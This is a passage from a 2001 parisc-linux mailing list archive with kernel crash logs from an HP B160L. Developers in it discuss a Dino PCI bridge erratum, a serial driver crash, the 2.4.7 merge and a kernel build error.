3. Merlin 160/ThunderHawk Memory (1) at 0xfffbf000, versions 0x67, 0x0,
0x9, 0x0, 0x0<6>
4. Merlin 160 Core BA (11) at 0xffd00000, versions 0x3d, 0x0, 0x81, 0x0,
0x0<6>,  additional addresses: <6>0xffd0c000 <6>0xffc00000 <6>
5. Merlin 160 Core RS-232 (10) at 0xffd05000, versions 0x3d, 0x0, 0x8c,
0x0, 0x0<6>
6. Merlin 160 Core SCSI (10) at 0xffd06000, versions 0x3d, 0x0, 0x82,
0x0, 0x0<6>
7. Merlin 160 Core LAN (802.3) (10) at 0xffd07000, versions 0x3d, 0x0,
0x8a, 0x0, 0x0<6>
8. Merlin 160 Core Centronics (10) at 0xffd02000, versions 0x3d, 0x0,
0x74, 0x0, 0x0<6>,  additional addresses: <6>0xffd01000 <6>0xffd03000
<6>
9. Merlin 160 Core Audio (10) at 0xffd04000, versions 0x3d, 0x4, 0x7b,
0x0, 0x0<6>
10. Merlin 160 Core PS/2 Port (10) at 0xffd08000, versions 0x3d, 0x0,
0x84, 0x0, 0x0<6>
11. Merlin 160 Core PS/2 Port (10) at 0xffd08100, versions 0x3d, 0x0,
0x84, 0x0, 0x0<6>
12. Merlin 160 Wax BA (11) at 0xffe00000, versions 0x41, 0x0, 0x8e, 0x0,
0x0<6>
13. Merlin 160 Wax EISA BA (11) at 0xfc000000, versions 0x41, 0x0, 0x90,
0x0, 0x0<6>,  additional addresses: <6>0xf0184000 <6>
14. Merlin 160 Wax HIL (10) at 0xffe01000, versions 0x41, 0x0, 0x73,
0x0, 0x0<6>
15. Merlin 160 Wax RS-232 (10) at 0xffe02000, versions 0x41, 0x0, 0x8c,
0x0, 0x0<6>
16. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0,
0x85, 0x0, 0x0<6>,  additional addresses: <6>0xf0011000 <6>
17. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x1, 0xa, 0x0,
0x0<6>
18. Merlin+ 132 Dino PS/2 Port (10) at 0xfff81000, versions 0x22, 0x0,
0x96, 0x0, 0x0<6>
19. Merlin+ 132 Dino RS-232 (10) at 0xfff83000, versions 0x22, 0x0,
0x8c, 0x0, 0x0<6>
That's a total of 19 devices.
CPU(s): 1 x PA7300LC (PCX-L2) at 160.000000 MHz
Kernel command line: root=/dev/sda3 HOME=/ TERM=linux console=ttyS0
debug
Console: colour dummy device 160x64
Initialized PDC Console for debugging.
Calibrating delay loop... 106.49 BogoMIPS
Memory: 126616k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Dino version 2.1 (bridge mode) found at 0xfff80000


The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

dino_bridge_init: IO_ADDR_EN hasn't been configured.
kernel BUG at dino.c:806!
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 152 [PCSPP,TRISTATE]
pty: 256 Unix98 ptys configured
lp0: using parport0 (interrupt-driven).
Serial driver version 5.05a (2001-03-20) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xffd05800 (irq = 154) is a 16550A
ttyS01 at iomem 0xffe02800 (irq = 185) is a 16550A
ttyS02 at iomem 0xfff83800 (irq = 74) is a 16550A

Dumping Stack from 10038000 to 10038840:
8000 00000000 00000040 00000000 00000000 102853c0 00000001 00000000
ffffffff
8020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff
102852c0
8040 102852c0 00000090 10074000 102c8000 1028b600 00000000 00000000
00000000
8060 00000000 00000000 00000000 00000001 00000000 00000000 00000000
00000000
8080 00000000 102c8000 102c8000 10060000 00000000 00000000 10060098
102c8098
80a0 00000000 102fe51c 100380a8 100380a8 10038808 00000000 00000000
00000000
80c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
10038000
80e0 10119fa0 00000000 00000075 00000000 00000000 0000004a 00000000
000000be
8100 00000000 00000000 00000000 00000000 00000000 00000000 80000000
00000000
8120 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
81a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
81c0 fffffeff 00000000 ffffffff 00000000 10285f84 ffffffff ffffffff
ffffffff
81e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
ffffffff
8200 ffffffff 000007ba 000007ba 00000400 00000400 ffffffff ffffffff
ffffffff
8220 ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
00000000
8240 00000000 00000000 00000000 00000000 00000000 00000000 f0000c30
f0100000
8260 000000fd ffffffff ffffffff 1029ccd4 0004000e 0000004d 0000004e
f000a37c
8280 00043002 0006e180 00007ba6 00800327 00000000 00000000 00007ba6
00800327
82a0 00007ba6 10286810 ffffffff 1003fba0 10247c1c 0004000e 0000004d
00000000
82c0 10100130 1011841c 00000000 00007ba6 00800327 f0100000 102cf667
102cf666
82e0 00000024 0000003c 0000003e 10285010 00000001 102cf667 00000004
102cf643
8300 00000000 00000023 00000002 0000001d 00007ba6 00000000 ffffffff
00000001
8320 1025c8e4 0006e180 f000a37c 00043002 0006e180 00007ba6 00008124
102cf643
8340 00000000 101581a0 0000001d 00000800 00000000 00000002 002cb140
00000000
8360 002cb088 000003a8 00000000 00000003 ffd05000 00008000 00000005
10286010
8380 1028645c 10108ecc 00000040 00000000 00000000 00000002 0004000f
10000000
83a0 10108ecc 00000007 102cf65f 102701fc 102cf643 00000004 102cf667
00000001
83c0 10285010 10109060 0000003c 00000024 0000000f 102853ec 10285010
f0000174
83e0 00000020 ffd05800 ffd05800 ffd05800 ffd05800 00000060 ffffffff
ffd05800
8400 002cf080 10270010 00000000 00000060 102c88c0 10038740 10105cf8
00000000
8420 0000001f 00000000 0000001f 00000000 0028c000 00000000 1028b040
1028b060
8440 1028b1fc 00000000 00000000 00000000 1003844c 00000000 00000000
00000000
8460 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
8480 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
84a0 00000000 00000000 00000000 10105c4c 00000000 00000000 00000000
00000000
84c0 102c8000 00000000 ffffffff 00000000 00000000 00000000 00000000
00000000
84e0 00000000 00000000 00000000 10100144 00000000 00000000 00000000
00000000
8500 00000000 ffffffff 00000000 00000000 00000000 00000000 00000000
00000000
8520 00000000 00000000 00000000 1029ce6c 00000000 00000000 00000000
00000000
8540 102fe010 10038000 1028b600 102c8000 102c7b64 102c7b20 00000000
1003854c
8560 1003854c 00000000 102c7b64 102a24ec 00000000 00000000 00000000
00000000
8580 102c7b64 1029ccd4 0004000e 0000004d 102fe010 10286f04 1028b600
102c8000
85a0 102c7b64 102c7b18 10038000 102a4120 102c8000 102c7b64 102c7ae8
00000000
85c0 10293670 00000040 102e0400 102e0344 10293670 00000040 1025e298
1025e514
85e0 102df010 102df010 102c7b18 102a3c14 102c8000 102c7b64 102c7b08
10038548
8600 0004fe0f 10296810 102a3c14 10293010 10293738 102e0344 102e0400
10000080
8620 102906bc 0000004d 0004000e 1029ccd4 ffffffff ffffffff 000000fd
f0100000
8640 f0000c30 f0000174 00000020 1025e320 10296cf0 10296ce8 10296810
00000002
8660 10266fcc 102974bc 10293738 10270010 00000000 00000000 10038840
00000000
8680 000f0800 00000000 0000001f 00000000 0000001f 00000000 0000001f
00000000
86a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
86c0 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000
00000000
86e0 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000
00000000
8700 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff
7fffffff
8720 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000
00000000
8740 40300000 00000000 40200000 00000000 40200000 00000000 41800000
7fffffff
8760 40000000 00000000 40000000 00000000 40800000 00000000 41000000
00000000
8780 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
87a0 00000000 00000000 102a3c24 102a3c28 f0102918 00000000 00000000
00000002
87c0 002cb140 0000001f 0e601200 00000000 1025e320 00000003 ffd05000
00008000
87e0 00000000 00000000 00000000 10108ecc 00000000 00000000 00000000
00000000
8800 0004000f 10000000 10108ecc 00000001 102cf676 102701fc 102cf646
00000004
8820 102cf678 00000001 10285010 10106748 0000003c 00000035 0000000f
102853ec

Kernel Fault: Code=26 regs=10038600 (Addr=1025e320)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001111
r0-3     00000000 10296810 102a3c14 10293010
r4-7     10293738 102e0344 102e0400 10000080
r8-11    102906bc 0000004d 0004000e 1029ccd4
r12-15   ffffffff ffffffff 000000fd f0100000
r16-19   f0000c30 f0000174 00000020 1025e320
r20-23   10296cf0 10296ce8 10296810 00000002
r24-27   10266fcc 102974bc 10293738 10270010
r28-31   00000000 00000000 10038840 00000000
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102a3c24 102a3c28
 IIR: 0e601200    ISR: 00000000  IOR: 1025e320
 ORIG_R28: 00000000

Looks like it goes bang in probe_serial_pci to me as IAOQ is in that
function.

Full System.map and .config are at:

http://www.qzxyz.com/System.map
http://www.qzxyz.com/kernel.config

I can provide any other info required to track this down.

Cheers,
Scott




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C180 DINO/PCI problem; was: Help on install (2)
Date: Sun, 29 Jul 2001 12:42:56 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <200107291842.MAA15066@puffin.external.hp.com>
References: <Reinhard.Gimbel@freenet.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620339 22764 80.91.229.3 (22 Nov 2014 01:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Reinhard.Gimbel@freenet.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 12:44:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C786482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jul 2001 12:44:14 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA15066;
	Sun, 29 Jul 2001 12:42:56 -0600
In-Reply-To: Message from Reinhard Gimbel <Reinhard.Gimbel@freenet.de> 
   of "Sat, 28 Jul 2001 12:35:20 +0200." <01072812322001.00935@octopus> 
Xref: news.gmane.org gmane.linux.ports.parisc:11739

Reinhard Gimbel wrote:
> > You have Dino 1.x ? I didn't think HP ever shipped those to
> > customers. Or did you mean another chip?
> > Perhaps post the console log output?
> 
> A friend of mine has a C180 with DINO v1.x (according to the
> boot messages of that box; I do not have a log of that box on 
> hand at present).

Ok. IIRC, early revs of dino mostly had problems with nested PCI-PCI
bridges. I'd need to review the dino errata and I don't have that with
me here.

> Dino version 2.1 (bridge mode) found at 0xf2000000
...
> dino_bridge_init: IO_ADDR_EN hasn't been configured.
> kernel BUG at dino.c:808!

hmm...the newer PDC isn't programming Dino or anything
below it since the PDC knows it's buggy. Seems like dino code
should just give up trying to walk the bus at this point.
I suspect that's crashing the box later.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C180 DINO/PCI problem; was: Help on install (1)
Date: Sun, 29 Jul 2001 12:57:51 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <200107291857.MAA15094@puffin.external.hp.com>
References: <Reinhard.Gimbel@freenet.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620339 22769 80.91.229.3 (22 Nov 2014 01:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Reinhard.Gimbel@freenet.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 12:59:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7158482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jul 2001 12:59:05 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA15094;
	Sun, 29 Jul 2001 12:57:51 -0600
In-Reply-To: Message from Reinhard Gimbel <Reinhard.Gimbel@freenet.de> 
   of "Sat, 28 Jul 2001 12:34:46 +0200." <01072812114300.00935@octopus> 
Xref: news.gmane.org gmane.linux.ports.parisc:11740

Reinhard Gimbel wrote:
> Expect the GRAPHICS(3) graphics adaptor (which is an EISA card)
> there is no expansion card installed in my C180. The 2 PCI slots
> are not occupied by expansion cards.
...
> On the other hand the C180 had a working HP-UX 10.20 as I bought
> it weeks ago. So there must be a software solution for the DINO
> problem.

Trust me. There isn't. On some of the boxes a HW workarond is possible.
But I'm not clear on if that ever got pushed out in replacement motherboards
to customers. I was under the impression the problem was "fixed" by
swapping for a motherboard with dino 3.1.

> > Perhaps...updating the firmware to the latest will not let
> > the system boot if in fact that's the case. remove all PCI
> > devices and then the system will boot.
> 
> No PCI device to remove (as an expansion card) ...

Ok.

> ... but how about a firmware update ? My box has firmware
> version 2.7. Is that o.k. so far? Or is there a newer firmware
> available ? The other questions is: Would a firmware upgrade
> help to solve my problem?

Definitely update. You want to know if your box is useable or not.

The FAQ has a nice section on firmware updates which I think
answers this set of questions.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tracking down crash in 2.4.6 kernels on B160L
Date: Sun, 29 Jul 2001 13:46:32 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <200107291946.NAA15222@puffin.external.hp.com>
References: <scott.ashcroft@talk21.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620339 22771 80.91.229.3 (22 Nov 2014 01:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Scott Ashcroft <scott.ashcroft@talk21.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 13:48:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5188482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jul 2001 13:48:00 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA15222;
	Sun, 29 Jul 2001 13:46:32 -0600
In-Reply-To: Message from Scott Ashcroft <scott.ashcroft@talk21.com> 
   of "Sat, 28 Jul 2001 15:38:23 BST." <3B62CE5F.31181B7A@talk21.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11741

Scott Ashcroft wrote:
> I've rebuilt a kernel with EARLY_BOOTUP_DEBUG defined in
> linux/arch/parisc/kernel/pdc_console.c so I get some console output
> before the crash.

Excellent. I've got good and bad news for you.
The good news is I think I know what the problem is.

...
> Looks like it goes bang in probe_serial_pci to me as IAOQ is in that
> function.

That makes sense. Your box has no serial under PCI right?

If not, the code in drivers/char/serial.c looks broken:

static int __devinit serial_init_one(struct pci_dev *dev,
                                     const struct pci_device_id *ent)
{
        struct pci_board *board, tmp;
        int rc;
  
        for (board = pci_boards; board->vendor; board++) { 
                if (board->vendor != (unsigned short) PCI_ANY_ID &&
                    dev->vendor != board->vendor)
                        continue;
...

If pci_boards is NULL...anyway, that code is gone in 2.4.7 and
we will merge up again with the linus' tree again shortly.

You could try to build a kernel w/CONFIG_PCI disabled.
If that config doesn't build, file a bug about the fact that it didn't build.
You could also file a bug against "kernel" project at bugs.parisc-linux.org
and that could be closed once someone demonstrated the next merge fixes the
problem. In short, please file at least one bug.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Ashcroft <scott.ashcroft@talk21.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tracking down crash in 2.4.6 kernels on B160L
Date: Sun, 29 Jul 2001 21:01:00 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20010729210100.A6411@cargoclaimsdirect.com>
References: <200107291946.NAA15222@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620340 22774 80.91.229.3 (22 Nov 2014 01:39:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 14:04:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ccd.cargoclaimsdirect.com (unknown [62.6.162.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34F63482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jul 2001 14:04:04 -0600 (MDT)
Original-Received: from ashcroft by ccd.cargoclaimsdirect.com with local (Exim 3.31 #1 (Debian))
	id 15QwkG-0001fY-00; Sun, 29 Jul 2001 21:01:00 +0100
Content-Disposition: inline
In-Reply-To: <200107291946.NAA15222@puffin.external.hp.com>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11742

On Sun, Jul 29, 2001 at 01:46:32PM -0600, Grant Grundler wrote:
> Scott Ashcroft wrote:
> > I've rebuilt a kernel with EARLY_BOOTUP_DEBUG defined in
> > linux/arch/parisc/kernel/pdc_console.c so I get some console output
> > before the crash.
> 
> Excellent. I've got good and bad news for you.
> The good news is I think I know what the problem is.
> 
> ...
> > Looks like it goes bang in probe_serial_pci to me as IAOQ is in that
> > function.
> 
> That makes sense. Your box has no serial under PCI right?

Don't think so. Always detects one though.

> If not, the code in drivers/char/serial.c looks broken:
> 
> static int __devinit serial_init_one(struct pci_dev *dev,
>                                      const struct pci_device_id *ent)
> {
>         struct pci_board *board, tmp;
>         int rc;
>   
>         for (board = pci_boards; board->vendor; board++) { 
>                 if (board->vendor != (unsigned short) PCI_ANY_ID &&
>                     dev->vendor != board->vendor)
>                         continue;
> ...
> 
> If pci_boards is NULL...anyway, that code is gone in 2.4.7 and
> we will merge up again with the linus' tree again shortly.
> 
> You could try to build a kernel w/CONFIG_PCI disabled.
> If that config doesn't build, file a bug about the fact that it didn't build.
> You could also file a bug against "kernel" project at bugs.parisc-linux.org
> and that could be closed once someone demonstrated the next merge fixes the
> problem. In short, please file at least one bug.

OK and the bad news was?

Scott




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.7 merge
Date: Sun, 29 Jul 2001 21:16:08 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010729211608.B5493@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620340 22775 80.91.229.3 (22 Nov 2014 01:39:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 14:16:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4179D4841
	for <parisc-linux@parisc-linux.org>; Sun, 29 Jul 2001 14:16:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Qwyu-0003E7-00
	for parisc-linux@parisc-linux.org; Sun, 29 Jul 2001 21:16:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11743

Grant's found a good excuse to move up to 2.4.7, so let's try to do that
this week.  Paul, are you around to do the CVS stuff?  An initial `apply
the 2.4.7 patch to my tree' merge attempt shows 4 fails -- the expected
one in Makefile; arch/parisc/kernel/ptrace.c, drivers/char/serial.c and
drivers/scsi/sym53c8xx_defs.h.  I can see how to fix the ptrace & serial
conflicts; Richard says the sym53c8xx_defs conflict is also trivial,
so I don't anticipate any major problems.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tracking down crash in 2.4.6 kernels on B160L
Date: Sun, 29 Jul 2001 20:12:36 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <200107300212.UAA15902@puffin.external.hp.com>
References: <scott.ashcroft@talk21.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620340 22777 80.91.229.3 (22 Nov 2014 01:39:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Scott Ashcroft <scott.ashcroft@talk21.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 20:13:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18B93482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jul 2001 20:13:52 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA15902;
	Sun, 29 Jul 2001 20:12:36 -0600
In-Reply-To: Message from Scott Ashcroft <scott.ashcroft@talk21.com> 
   of "Sun, 29 Jul 2001 21:01:00 BST." <20010729210100.A6411@cargoclaimsdirect.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11744

Scott Ashcroft wrote:
> > If pci_boards is NULL...anyway, that code is gone in 2.4.7 and
> > we will merge up again with the linus' tree again shortly.
...
> OK and the bad news was?

I can't/shouldn't fix it right now in our tree.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 'Richard Hirst' <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 disk and kernel make dep problems
Date: Mon, 30 Jul 2001 04:53:54 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010730045353.Q1252@linuxcare.com>
References: <99F41EF55D11D511818600D0B74749C496F43A@wchrntms01.uk.wmmercer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620341 22785 80.91.229.3 (22 Nov 2014 01:39:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:01 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Scammell, David" <David.Scammell@uk.wmmercer.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 21:52:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83B4E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jul 2001 21:52:13 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 12832B00C; Mon, 30 Jul 2001 04:53:54 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <99F41EF55D11D511818600D0B74749C496F43A@wchrntms01.uk.wmmercer.com>; from David.Scammell@uk.wmmercer.com on Fri, Jul 27, 2001 at 04:04:18PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11745

On Fri, Jul 27, 2001 at 04:04:18PM +0100, Scammell, David wrote:
> The kernel command option you gave me, simxxxx, appeared to
> work last night. Am I switching off disconnects, I've not 
> looked at the source?

Yes, that turns off disconnects on all scsi IDs.

Richard





From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: caslivkoff@telocity.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Errors trying to compile 2.4.6-pa22
Date: Mon, 30 Jul 2001 01:31:07 -0400
Lines: 181
Approved: news@gmane.org
Message-ID: <3B64F11B.DC4EEF75@telocity.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620341 22831 80.91.229.3 (22 Nov 2014 01:39:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 23:29:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c007.snv.cp.net (c007-h000.c007.snv.cp.net [209.228.33.206])
	by dsl2.external.hp.com (Postfix) with SMTP id 743B7482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jul 2001 23:29:36 -0600 (MDT)
Original-Received: (cpmta 22848 invoked from network); 29 Jul 2001 22:29:34 -0700
Original-Received: from unknown (HELO telocity.com) (64.128.230.1)
  by smtp.telocity.com (209.228.33.206) with SMTP; 29 Jul 2001 22:29:34 -0700
X-Sent: 30 Jul 2001 05:29:34 GMT
Original-Sender: chuck@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-686 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11746

Hi list,

I've been trying to compile a new kernel on my 712/80 (128MB RAM) while
running 2.4.0-pa25. I downloaded linux-latest.tar.gz (2.4.6-pa22),
configured, and "make dep" with no problems. "make palo" gets to the
end, and errors out with:

ld -T /usr/src/parisc-linux/linux/arch/parisc/vmlinux.lds 
